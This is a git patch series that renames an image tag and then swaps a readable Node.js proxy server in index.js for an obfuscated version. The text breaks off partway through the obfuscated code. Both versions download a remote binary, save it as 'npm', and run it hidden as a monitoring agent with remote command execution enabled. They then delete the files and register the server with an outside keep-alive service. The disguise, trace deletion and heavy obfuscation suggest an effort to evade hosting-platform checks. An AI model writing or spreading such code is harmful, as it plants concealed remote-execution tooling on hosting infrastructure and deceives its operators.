From f3c7d7c82bf9d1e26f9a46309d637932b6ee7cb7 Mon Sep 17 00:00:00 2001 From: Rikka8964 Date: Sat, 27 Dec 2025 21:05:39 +0800 Subject: [PATCH 1/6] Update build-hug-image.yml --- .github/workflows/build-hug-image.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-hug-image.yml b/.github/workflows/build-hug-image.yml index 6bb1cdeeb..59d2fb087 100644 --- a/.github/workflows/build-hug-image.yml +++ b/.github/workflows/build-hug-image.yml @@ -41,7 +41,7 @@ jobs: context: . push: true tags: | - ghcr.io/${{ github.repository_owner }}/hugws:latest + ghcr.io/${{ github.repository_owner }}/rikkaweb:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=http server From 2fd5c32bbd7a0e8b4a80b883aeede10e812c6826 Mon Sep 17 00:00:00 2001 From: Rikka8964 Date: Sat, 27 Dec 2025 21:14:17 +0800 Subject: [PATCH 2/6] Update index.js --- index.js | 378 +------------------------------------------------------ 1 file changed, 1 insertion(+), 377 deletions(-) diff --git a/index.js b/index.js index e72b894dd..65a1d7586 100644 --- a/index.js +++ b/index.js @@ -1,377 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || ''; // 节点名称 -const PORT = process.env.PORT || 3000; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://api.ip.sb/geoip'); - const data = res.data; - ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const namePart = NAME ? `${NAME}-${ISP}` : ISP; - const vlessURL = `vless://${UUID}@cdns.doon.eu.org:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const trojanURL = `trojan://${UUID}@cdns.doon.eu.org:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}/${SUB_PATH}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +const _0x3550=['c2VydmVy','WVFBak0=','QXV0b21hdGljIEFjY2VzcyBUYXNrIGFkZGVkIHN1Y2Nlc3NmdWxseQ==','bWNMRnA=','RVl6Q3k=','QkVYWk4=','Y2F0Y2g=','MjA1Mw==','Wm5OY0s=','R0xIQ0s=','S0Z6eEI=','TVNOanI=','S2pBbHI=','SnhUYXE=','WnRyRFc=','ZHp1Smw=','Vnhndlc=','Y3JlYXRlU2VydmVy','TkFNRQ==','Y1FIQlo=','SGVsbG8gd29ybGQh','Y29tcGlsZQ==','dFprc0c=','JmZwPWNocm9tZSZ0eXBlPXdzJmhvc3Q9','Y2htb2QgK3ggbnBt','c2NOdWg=','ZVNWTnc=','NDQz','WlF5dUg=','ZGVjb2Rl','c2VuZA==','anJJSUY=','UmJQUUs=','SUlMUE4=','ZXhjZXB0aW9u','VG9RbHA=','cmV0dXJuIChmdW5jdGlvbigpIA==','TkVaSEFfU0VSVkVS','ZGlnZXN0','T256Vnk=','WnZGekU=','eFV3Zkg=','d3JpdGVGaWxlU3luYw==','QVRIcGY=','TVBYQWQ=','am9pbg==','Y2ZXRGg=','YWFyY2g2NA==','cG9ydA==','b3l4cXU=','ZGF0YQ==','dXRmOA==','VGZEcmw=','dFZLRkY=','ZGVidWc=','c1J4aWQ=','bG9n','RGxLWVg=','JnBhdGg9JTJG','Y3JlYXRlV3JpdGVTdHJlYW0=','Tm90IEZvdW5kCg==','aHR0cHM6Ly9kbnMuZ29vZ2xlL3Jlc29sdmU/bmFtZT0=','eGt0b1g=','aGVhZGVycw==','ZnpYd20=','c3BsaXQ=','S3ZkUWs=','Y2hpbGRfcHJvY2Vzcw==','QW5zd2Vy','ZmluZA==','TFBySkU=','Y3JlYXRlSGFzaA==','RUJVSkU=','c3Vi','c2hhMjI0','Y29uZmlnLnlhbWw=','V3NubXg=','ZFpiRHo=','Zm1BZkY=','dkJrTGw=','bVl3bkU=','UUdHdGU=','dFVLWlA=','VGFsV3E=','SlNXZUE=','TlBvRUQ=','b25jZQ==','d2Fybg==','TkVaSEFfUE9SVA==','cnVzeEI=','SmVFZmg=','cmVhZFVJbnQxNkJF','U0p4RWQ=','dUVPYVE=','TE9USlY=','Y291bnRyeV9jb2Rl','ZFFvdmQ=','emNuUUo=','Q29udGVudC1UeXBl','dHJ1ZQ==','WFhzWmU=','VU1vQ1g=','cmV0dXJuIC8iICsgdGhpcyArICIv','bE1yTEI=','UE9SVA==','T2xSd0g=','U3RhdHVz','dHFUWWg=','aHR0cHM6Ly9hcm02NC5zc3NzLm55Yy5tbi9hZ2VudA==','dHJhY2U=','a21OWG0=','cmVwbGFjZQ==','c2V0c2lkIG5vaHVwIC4vbnBtIC1jIGNvbmZpZy55YW1sID4vZGV2L251bGwgMj4mMSAm','Y0pjaXE=','cmFqbmU=','bGVuZ3Ro','cnRwV2g=','aHR0cHM6Ly8=','dGFibGU=','aG9zdA==','U2VydmVyIGlzIHJ1bm5pbmcgb24gcG9ydCA=','U1VCX1BBVEg=','VU1Sd2I=','a1BVREo=','QXlTa3c=','c1Bsd1Y=','TUpCTVI=','cGlwZQ==','TkVaSEFfS0VZ','aHR0cHM6Ly9hbWQ2NC5zc3NzLm55Yy5tbi9hZ2VudA==','a2dyU0o=','YmpzR2o=','b1NWQ2k=','YnVmZmVy','VWxRaVA=','bWNsR1Y=','elRlckE=','ZXJyb3I6IA==','RU9uTlI=','ZlJnaGo=','dkZqVVg=','IC0tZGlzYWJsZS1hdXRvLXVwZGF0ZSAtLXJlcG9ydC1kZWxheSA0IC0tc2tpcC1jb25uIC0tc2tpcC1wcm9jcyA+L2Rldi9udWxsIDI+JjEgJg==','c3RyZWFt','TERSSHQ=','VWpFU0s=','ZXJyb3I=','YWFuZVU=','VFd1ZFk=','CmRlYnVnOiBmYWxzZQpkaXNhYmxlX2F1dG9fdXBkYXRlOiB0cnVlCmRpc2FibGVfY29tbWFuZF9leGVjdXRlOiBmYWxzZQpkaXNhYmxlX2ZvcmNlX3VwZGF0ZTogdHJ1ZQpkaXNhYmxlX25hdDogZmFsc2UKZGlzYWJsZV9zZW5kX3F1ZXJ5OiBmYWxzZQpncHU6IGZhbHNlCmluc2VjdXJlX3RsczogdHJ1ZQppcF9yZXBvcnRfcGVyaW9kOiAxODAwCnJlcG9ydF9kZWxheTogNApzZXJ2ZXI6IA==','bWFw','e30uY29uc3RydWN0b3IoInJldHVybiB0aGlzIikoICk=','SnhKT2E=','MTIzNC5hYmMuY29t','UXZhblE=','YXJFaFg=','UWVLTm4=','Z3NpVlg=','IHdpdGggYWxsIEROUyBzZXJ2ZXJz','U3BxeWs=','bnBt','WHVGWk0=','UHh1V0s=','cHMgYXV4IHwgZ3JlcCAtdiAiZ3JlcCIgfCBncmVwICIuL1tuXXBtIg==','am9EREI=','dWlQcUU=','MjA4Nw==','eGxrQ1o=','ZmluaXNo','Ym1SdEM=','ckNMUFI=','UWJ2cXA=','U2VydmVy','Y2xpZW50X3NlY3JldDog','dUtEc08=','T3FIYWc=','bGZYekE=','RWlZcGM=','UFhwaUo=','Y29uc3RydWN0b3I=','aHR0cHM6Ly9hbWQ2NC5zc3NzLm55Yy5tbi92MQ==','dXJs','WUxBZUQ=','Mnw2fDB8M3wxfDR8N3w1','UVZxb0Y=','ZU1Xams=','Zmh1YVg=','c3l0QmY=','c29jbU0=','bnBtIGRvd25sb2FkIHN1Y2Nlc3NmdWxseQ==','MjA4Mw==','aWhJdkI=','YllSckM=','cmVhZFVJbnQ4','YWJDbWk=','WnZWdE0=','JnR5cGU9QQ==','bWZ6blU=','b3hlVHM=','YXBwbHk=','TkVaSEEgdmFyaWFibGUgaXMgZW1wdHksIHNraXAgcnVubmluZw==','SWdJSkk=','dHh1Tlo=','WVl5SmY=','QUxMZXk=','UmxjcnM=','QGNkbnMuZG9vbi5ldS5vcmc6NDQzP3NlY3VyaXR5PXRscyZzbmk9','ZWJjelg=','T3pTdnM=','ZmFsc2U=','VXFFclM=','dnJ0Y1U=','VW5rbm93bg==','ZXZlcnk=','bm5YaWw=','aHR0cHM6Ly9vb29vLnNlcnYwMC5uZXQvYWRkLXVybA==','cXFlcVM=','Q2lYenc=','dHJpbQ==','WlpKY0E=','aW5mbw==','VkNrdUE=','Z3FWWWI=','QUFOZ1E=','YnpnWFU=','c1podWs=','QWNjZXB0','d3JpdGU=','c2V0c2lkIG5vaHVwIC4vbnBtIC1zIA==','aUZ5Zmc=','eVRobGs=','WHVOYkk=','aHR0cHM6Ly9hcm02NC5zc3NzLm55Yy5tbi92MQ==','dXRmLTg=','d0lyYUg=','dGV4dC9odG1s','T2Nvb1U=','ZW5k','S01EdUM=','dHlwZQ==','cG9w','Z0picm8=','VHRYZU0=','RG5RZkI=','c1dicVg=','CnVzZV9naXRlZV90b191cGdyYWRlOiBmYWxzZQp1c2VfaXB2Nl9jb3VudHJ5X2NvZGU6IGZhbHNlCnV1aWQ6IA==','WWZTVXk=','cExDUGk=','Y29ubmVjdA==','eGhUcE0=','T09jYWg=','UmpHY2I=','YXJt','SHZlc3E=','U1Ztbmo=','QlVpRng=','aXFuek0=','WmJiVnE=','QlRUcG4=','dm1Va0c=','bEhOUHI=','YUJ4emo=','SllYaUQ=','enpCSU0=','enRkTlQ=','MjA5Ng==','Y29uc29sZQ==','R3BVRkk=','ZnJvbQ==','cWFweUw=','T0NjaVE=','THFPdVE=','aU9yS1M=','dGltZW91dA==','b3VNRlc=','RmFpbGVkIHRvIHJlc29sdmUg','XihbXiBdKyggK1teIF0rKSspK1teIF19','akxNSVg=','YXBwbGljYXRpb24vanNvbg==','akFud3M=','Q2l0aWI=','dWZYVHc=','dXBkYXRl','QmRzYmw=','Z2V0','RkRQWHY=','VWVid3A=','SWlHS0E=','RWlJd0Y=','dGVzdA==','dVhsZG0=','SU1wdW4=','a3B2VEk=','YTUyZGExOGYtMjFmMi00OTY5LTllZjMtMjdlOWJkZWUyMDIx','U2JrZ1Y=','Y29uY2F0','T1NBdUQ=','aW5kZXguaHRtbA==','SXZsSnk=','Y29ubmVjdGlvbg==','TXRPTUo=','ZW52','VHFFUnI=','ZVBRZ1Y=','R2RQYVA=','YXBwbGljYXRpb24vZG5zLWpzb24=','SGF0SHk=','UXBaUEQ=','T21KV2Y=','aW5jbHVkZXM=','CnNraXBfY29ubmVjdGlvbl9jb3VudDogdHJ1ZQpza2lwX3Byb2NzX2NvdW50OiB0cnVlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6IA==','dGV4dC9wbGFpbg==','Z3lmUEQ=','bXlqcWk=','c2xpY2U=','SWZ0dnE=','WVp0R3I=','dG9TdHJpbmc=','aHdQY04=','bW53TlU=','aFJEdkM=','SVRmaWc=','UWRCRkE=','Nnw3fDR8MXwwfDN8NXwy','QnBoSXo=','bUtkUWU=','VGxzRHQ=','eE5xTW4=','d3JpdGVIZWFk','dW5saW5r','aHR0cA==','ZFZLaEw=','RGlLeU0=','ZFpBeUw=','dXNMWW0=','aGpSYXo=','Rm9kcHI=','TlZrZWU=','bnBtIGlzIGFscmVhZHkgcnVubmluZywgc2tpcCBydW5uaW5nLi4u','QGNkbnMuZG9vbi5ldS5vcmc6NDQzP2VuY3J5cHRpb249bm9uZSZzZWN1cml0eT10bHMmc25pPQ==','SnFTSWU=','WFpQc0k=','eWN1cmo=','VUxMWmw=','cmtWZkQ=','Y2xvc2U=','Sm5qY3g=','Qm1Lc28=','YXhpb3M=','ZExtano=','c3Vic3Ry','S0tybms=','IC1wIA==','QXlXakc=','dmxlc3M6Ly8=','RGtDVXo=','LS10bHM=','dGhlbg==','YkNWTmI=','TlBmQUY=','bWVzc2FnZQ==','R3FQSEM=','L2Jpbi9iYXNo','cmVBRmo=','bm1CQ1g='];(function(_0x3d642b,_0x355054){const _0x5502e1=function(_0x1271a4){while(--_0x1271a4){_0x3d642b['push'](_0x3d642b['shift']());}};const _0x1d2bf3=function(){const _0x582577={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x3e6a74,_0x5ce92c,_0xdba75,_0x26974b){_0x26974b=_0x26974b||{};let _0x138b7d=_0x5ce92c+'='+_0xdba75;let _0x1d3f74=0x0;for(let _0x13be1c=0x0,_0x320793=_0x3e6a74['length'];_0x13be1c<_0x320793;_0x13be1c++){const _0x1acf9c=_0x3e6a74[_0x13be1c];_0x138b7d+=';\x20'+_0x1acf9c;const _0x2f0425=_0x3e6a74[_0x1acf9c];_0x3e6a74['push'](_0x2f0425);_0x320793=_0x3e6a74['length'];if(_0x2f0425!==!![]){_0x138b7d+='='+_0x2f0425;}}_0x26974b['cookie']=_0x138b7d;},'removeCookie':function(){return'dev';},'getCookie':function(_0x59a386,_0x3ec99e){_0x59a386=_0x59a386||function(_0x5c50e7){return _0x5c50e7;};const _0xfbf296=_0x59a386(new RegExp('(?:^|;\x20)'+_0x3ec99e['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));const _0x3a8edd=function(_0xe5c1a3,_0x255c40){_0xe5c1a3(++_0x255c40);};_0x3a8edd(_0x5502e1,_0x355054);return _0xfbf296?decodeURIComponent(_0xfbf296[0x1]):undefined;}};const _0x3961e6=function(){const _0x4e107b=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x4e107b['test'](_0x582577['removeCookie']['toString']());};_0x582577['updateCookie']=_0x3961e6;let _0x2a96c5='';const _0x26b2d1=_0x582577['updateCookie']();if(!_0x26b2d1){_0x582577['setCookie'](['*'],'counter',0x1);}else if(_0x26b2d1){_0x2a96c5=_0x582577['getCookie'](null,'counter');}else{_0x582577['removeCookie']();}};_0x1d2bf3();}(_0x3550,0x166));const _0x5502=function(_0x3d642b,_0x355054){_0x3d642b=_0x3d642b-0x0;let _0x5502e1=_0x3550[_0x3d642b];if(_0x5502['GKCFiS']===undefined){(function(){const _0x1271a4=function(){let _0x2a96c5;try{_0x2a96c5=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x26b2d1){_0x2a96c5=window;}return _0x2a96c5;};const _0x582577=_0x1271a4();const _0x3961e6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x582577['atob']||(_0x582577['atob']=function(_0x3e6a74){const _0x5ce92c=String(_0x3e6a74)['replace'](/=+$/,'');let _0xdba75='';for(let _0x26974b=0x0,_0x138b7d,_0x1d3f74,_0x13be1c=0x0;_0x1d3f74=_0x5ce92c['charAt'](_0x13be1c++);~_0x1d3f74&&(_0x138b7d=_0x26974b%0x4?_0x138b7d*0x40+_0x1d3f74:_0x1d3f74,_0x26974b++%0x4)?_0xdba75+=String['fromCharCode'](0xff&_0x138b7d>>(-0x2*_0x26974b&0x6)):0x0){_0x1d3f74=_0x3961e6['indexOf'](_0x1d3f74);}return _0xdba75;});}());_0x5502['VGccFQ']=function(_0x320793){const _0x1acf9c=atob(_0x320793);let _0x2f0425=[];for(let _0x59a386=0x0,_0x3ec99e=_0x1acf9c['length'];_0x59a386<_0x3ec99e;_0x59a386++){_0x2f0425+='%'+('00'+_0x1acf9c['charCodeAt'](_0x59a386)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2f0425);};_0x5502['qymwjR']={};_0x5502['GKCFiS']=!![];}const _0x1d2bf3=_0x5502['qymwjR'][_0x3d642b];if(_0x1d2bf3===undefined){const _0xfbf296=function(_0x3a8edd){this['YcQZPv']=_0x3a8edd;this['loAWTP']=[0x1,0x0,0x0];this['vmyfrk']=function(){return'newState';};this['SaqztD']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['JLJDng']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0xfbf296['prototype']['SCoymb']=function(){const _0x5c50e7=new RegExp(this['SaqztD']+this['JLJDng']);const _0xe5c1a3=_0x5c50e7['test'](this['vmyfrk']['toString']())?--this['loAWTP'][0x1]:--this['loAWTP'][0x0];return this['qNLvrO'](_0xe5c1a3);};_0xfbf296['prototype']['qNLvrO']=function(_0x255c40){if(!Boolean(~_0x255c40)){return _0x255c40;}return this['diCEww'](this['YcQZPv']);};_0xfbf296['prototype']['diCEww']=function(_0x4e107b){for(let _0x594bc5=0x0,_0x56d2f1=this['loAWTP']['length'];_0x594bc5<_0x56d2f1;_0x594bc5++){this['loAWTP']['push'](Math['round'](Math['random']()));_0x56d2f1=this['loAWTP']['length'];}return _0x4e107b(this['loAWTP'][0x0]);};new _0xfbf296(_0x5502)['SCoymb']();_0x5502e1=_0x5502['VGccFQ'](_0x5502e1);_0x5502['qymwjR'][_0x3d642b]=_0x5502e1;}else{_0x5502e1=_0x1d2bf3;}return _0x5502e1;};const _0x3e6a74=function(){const _0x2ed0f8={};_0x2ed0f8[_0x5502('0x115')]=_0x5502('0x97');_0x2ed0f8[_0x5502('0x57')]=function(_0x308ee6,_0x16c401){return _0x308ee6+_0x16c401;};_0x2ed0f8[_0x5502('0xaa')]=_0x5502('0x11a');_0x2ed0f8['lMrLB']=_0x5502('0x92');_0x2ed0f8['hjRaz']=function(_0x33355e,_0x104e17){return _0x33355e===_0x104e17;};_0x2ed0f8['osIjl']=_0x5502('0x16b');const _0x452066=_0x2ed0f8;let _0x4a90de=!![];return function(_0x4447a8,_0x3bf764){const _0x210433={};_0x210433[_0x5502('0xe3')]=function(_0x11fb60,_0x3b1fb3){return _0x11fb60<_0x3b1fb3;};_0x210433[_0x5502('0x15c')]=_0x452066[_0x5502('0x115')];_0x210433[_0x5502('0x127')]=function(_0x472ea4,_0x3bd139){return _0x452066[_0x5502('0x57')](_0x472ea4,_0x3bd139);};_0x210433['ToQlp']=function(_0x36e0f9,_0x127f89){return _0x36e0f9!==_0x127f89;};_0x210433[_0x5502('0x22')]=_0x452066[_0x5502('0xaa')];_0x210433[_0x5502('0x11c')]=_0x452066[_0x5502('0x6d')];_0x210433[_0x5502('0x8e')]=function(_0x3f2411,_0x244cdd){return _0x452066[_0x5502('0x154')](_0x3f2411,_0x244cdd);};_0x210433[_0x5502('0x145')]=_0x452066['osIjl'];const _0x4bc61c=_0x210433;const _0x1da97a=_0x4a90de?function(){const _0x12ba01={};_0x12ba01[_0x5502('0xd4')]=function(_0x14a617,_0x5b68d9){return _0x4bc61c['uXldm'](_0x14a617,_0x5b68d9);};const _0x392c6b=_0x12ba01;if(_0x4bc61c[_0x5502('0x29')](_0x4bc61c['ZQyuH'],_0x4bc61c['jAnws'])){if(_0x3bf764){if(_0x4bc61c['zTerA'](_0x4bc61c[_0x5502('0x145')],_0x5502('0x16b'))){const _0x5adc69=_0x3bf764[_0x5502('0xcc')](_0x4447a8,arguments);_0x3bf764=null;return _0x5adc69;}else{host=msg[_0x5502('0x13f')](offset,_0x392c6b[_0x5502('0xd4')](offset,0x4))[_0x5502('0x33')]('.');offset+=0x4;}}}else{if(_0x4bc61c[_0x5502('0xe3')](offset,msg['length'])){this['write'](msg[_0x5502('0x13f')](offset));}duplex['on'](_0x4bc61c[_0x5502('0x15c')],()=>{})[_0x5502('0x85')](this)['on'](_0x5502('0x97'),()=>{})[_0x5502('0x85')](duplex);}}:function(){};_0x4a90de=![];return _0x1da97a;};}();const _0x26b2d1=_0x3e6a74(this,function(){const _0x3cd596={};_0x3cd596[_0x5502('0x114')]=_0x5502('0x6c');_0x3cd596[_0x5502('0x2d')]=_0x5502('0x119');_0x3cd596[_0x5502('0xe4')]=function(_0x11ff86){return _0x11ff86();};const _0x5c30ea=_0x3cd596;const _0x97af9f=function(){const _0x48070d=_0x97af9f[_0x5502('0xb8')](_0x5c30ea['LqOuQ'])()[_0x5502('0x1b')](_0x5c30ea[_0x5502('0x2d')]);return!_0x48070d[_0x5502('0x126')](_0x26b2d1);};return _0x5c30ea[_0x5502('0xe4')](_0x97af9f);});_0x26b2d1();const _0x582577=function(){const _0x4ba64d={};_0x4ba64d[_0x5502('0xcb')]=function(_0x418319,_0x3d533a){return 